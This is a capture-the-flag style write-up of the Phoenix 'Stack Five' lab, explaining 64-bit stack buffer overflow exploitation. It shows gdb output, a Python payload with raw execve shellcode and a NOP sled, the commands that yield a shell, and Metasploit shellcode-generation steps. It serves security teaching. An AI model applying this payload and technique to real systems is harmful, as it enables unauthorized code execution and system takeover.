Write-up for: Stack Five
We will use this example as an intro to 64-bit exploitation (mostly because I failed the 32-bit version :P)
- Identify the vulnerability
The call to
start_level is not bounds-checked. Thus, we can overflow the
buffer variable by providing input longer than 128 bytes. The goal is to overwrite the stored return address and jump to our own shellcode.
- Plan of action
Since there is no ASLR and the stack is executable, our payload should look something like this on the stack:
[NOP sled] [execve("/bin/dash") shellcode] [NOP padding] [Address of buffer to return to NOP sled]
- Exploit development
In order to exploit this bug, we must first find the address of the buffer and, more importantly, the offset of the return address. We’ll use gdb:
(gdb) disas main Dump of assembler code for function main: 0x00000000004005a4 <+0>: push %rbp 0x00000000004005a5 <+1>: mov %rsp,%rbp 0x00000000004005a8 <+4>: sub $0x10,%rsp 0x00000000004005ac <+8>: mov %edi,-0x4(%rbp) 0x00000000004005af <+11>: mov %rsi,-0x10(%rbp) 0x00000000004005b3 <+15>: mov $0x400620,%edi 0x00000000004005b8 <+20>: callq 0x400400 <puts@plt> 0x00000000004005bd <+25>: mov $0x0,%eax 0x00000000004005c2 <+30>: callq 0x40058d <start_level> 0x00000000004005c7 <+35>: mov $0x0,%eax
To find the stack address of the stored return address we can set a breakpoint
start_level and inspect the stack. On the stack, we are looking for
4005c7because this is where we will return to.
We can additionally provide some input to the program to find the address of the
(gdb) break start_level Breakpoint 1 at 0x400591 (gdb) disas start_level Dump of assembler code for function start_level: 0x000000000040058d <+0>: push %rbp 0x000000000040058e <+1>: mov %rsp,%rbp => 0x0000000000400591 <+4>: add $0xffffffffffffff80,%rsp 0x0000000000400595 <+8>: lea -0x80(%rbp),%rax 0x0000000000400599 <+12>: mov %rax,%rdi 0x000000000040059c <+15>: callq 0x4003f0 <gets@plt> 0x00000000004005a1 <+20>: nop 0x00000000004005a2 <+21>: leaveq 0x00000000004005a3 <+22>: retq End of assembler dump. (gdb) break *start_level+20 Breakpoint 2 at 0x4005a1 (gdb) c Continuing. AAAAA Breakpoint 2, 0x00000000004005a1 in start_level () (gdb) x/64xw $rsp 0x7fffffffe490: 0x41414141 0x00000041 0x00400620 0x00000000 0x7fffffffe4a0: 0x004005a4 0x00000000 0x00000000 0x00000000 0x7fffffffe4b0: 0x00000000 0x00000000 0xf7db6dde 0x00007fff 0x7fffffffe4c0: 0x004005a4 0x00000000 0x00680037 0x00000000 0x7fffffffe4d0: 0x00000000 0x00000000 0xf7db6b1e 0x00007fff 0x7fffffffe4e0: 0xf7ffb300 0x00007fff 0x00000000 0x0a000000 0x7fffffffe4f0: 0xf7ffb300 0x00007fff 0xf7db9934 0x00007fff 0x7fffffffe500: 0xffffe588 0x00007fff 0xffffe530 0x00007fff 0x7fffffffe510: 0xffffe530 0x00007fff 0x004005c7 0x00000000 0x7fffffffe520: 0xffffe588 0x00007fff 0x00000000 0x00000001 0x7fffffffe530: 0x00000001 0x00000000 0xf7d8fd62 0x00007fff 0x7fffffffe540: 0x00000000 0x00000000 0xffffe580 0x00007fff 0x7fffffffe550: 0x00000000 0x00000000 0xf7ffdbc8 0x00007fff 0x7fffffffe560: 0x00003e00 0x04000001 0x00400459 0x00000000 0x7fffffffe570: 0x00000000 0x00000000 0x00400436 0x00000000 0x7fffffffe580: 0x00000001 0x00000000 0xffffe7cc 0x00007fff
First, we break on
start_level to then disassemble the function to find the end of the function. Note that we could have directly disassembled the function saving us one breakpoint. We run the program with some valid input. Then we inspect the stack (note, it’s
$rsp instead of
$esp. We’re dealing with a 64-bit register now).
Inspecting the stack gives us the following data:
- buffer address: 0x7fffffffe490
- return address location: 0x7fffffffe518
- offset: 136
Using this information we can craft a payload:
buf = "\x90" * 20 buf += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" buf += "\x90"* (136 - len(buf)) + "\x7f\xff\xff\xff\xe4\xe0"[::-1] print buf
The shellcode is from http://shell-storm.org/shellcode/files/shellcode-806.php
We start with a NOP sled to give us some flexibility with the exact location of the shellcode. Next, we place our shellcode in the buffer. This is what will be executed later. We fill the remaining space of the buffer with NOPs and overwrite the non-null part of the stored return address with what we believe is an address somewhere in our NOP sled.
It’s very important to note that the location of the stack might differ in gdb since it places additional environment variables before the stack. To emulate a more realistic execution environment, you can unset these variables in gdb before executing the program:
unset env LINES unset env COLUMNS
See also: https://reverseengineering.stackexchange.com/questions/2995/illegal-instruction-exploiting-sample-buffer-overflow-code
Even then, some experimentation with the return address and the length of the NOP slide might be required.
Now we are ready to run the exploit:
user@phoenix-amd64:/opt/phoenix/amd64$ python ~/stack-five.py > ~/stack-five user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-five < ~/stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education user@phoenix-amd64:/opt/phoenix/amd64$
Nothing happened? The reason is that using input redirection with
< immediately terminates the program once the end of input is reached. Instead we need to pipe in the input with
cat ~/stack-five - | ./stack-five. The
- keeps stdin open.
user@phoenix-amd64:/opt/phoenix/amd64$ whoami user user@phoenix-amd64:/opt/phoenix/amd64$ cat ~/stack-five - | ./stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education whoami phoenix-amd64-stack-five
We popped a shell! Awesome :)
Alternative, generate shellcode with metasploit
use payload/linux/x64/exec info set CMD /bin/sh info generate -b '\x00' -f python